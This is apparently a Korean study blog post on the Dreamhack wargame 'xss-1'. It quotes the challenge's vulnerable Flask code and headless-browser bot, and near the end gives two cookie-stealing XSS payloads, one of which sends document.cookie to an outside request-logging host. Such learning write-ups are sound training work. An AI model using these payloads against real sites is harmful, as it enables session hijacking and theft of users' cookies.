상세 컨텐츠

본문 제목

[Dreamhack] Exercise:XSS

web study

by oose. 2023. 10. 6. 17:12

본문

https://dreamhack.io/wargame/challenges/28

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

위의 문제를 풀기 위한 워밍업 과정이다.

문제에 대한 설명으로 아래와 같은 정보가 주어졌다.

 

<문제에 나오는 페이지>

/   인덱스 페이지

/vuln   이용자가 입력한 값 출력

/memo   이용자가 메모를 남길 수 있으며, 해당 메모 출력

/flag 전달된 url에 임의 이용자가 접속하게끔 함. 해당 이용자의 쿠키에 flag 존재

 

우린 이 flag를 찾아야 하는 것!

 

 

그리고 각 페이지가 어떤 코드로 구성되어있는지 설명해준다.

 

<페이지별 코드 구성>

1) /vuln 페이지 : 이용자가 전달한 param 값을 출력.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

 

 

2) /memo 페이지 : 이용자가 전달한 memo 값을 기록하고 출력.

@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
    memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가
    return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

 

 

3) /flag 페이지 : GET, POST 메소드가 존재, GET 메소드는 이용자에게 url을 입력받는 페이지 제공, POST 메소드는 params 값, 쿠키에 check_xss 함수 호출(이때 FLAG 포함되어있음), 그리고 check_xss는 read_url 함수를 호출하여 vuln 엔드포인트에 접속.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

 

이때 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 xss 발생 -> 이 취약점을 공격

 

 

마지막으로 힌트를 몇 개 던져줬음.

 

<이용할 속성>

location.href, document.cookie

 

<쿠키 탈취 방법>

1) memo 페이지 사용

flag 엔드포인트에서 다음 코드를 입력하면, memo 엔드포인트에서 이용자의 쿠키 정보 확인 가능

<script>location.href = "/memo?memo=" + document.cookie;</script>

2) 웹 서버 이용

<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

위 코드를 이용하면 드림핵에서 제공하는 외부 브라우저가 동작하고, 이는 이용자의 접속 기록(url 등)을 저장한다.

관련글 더보기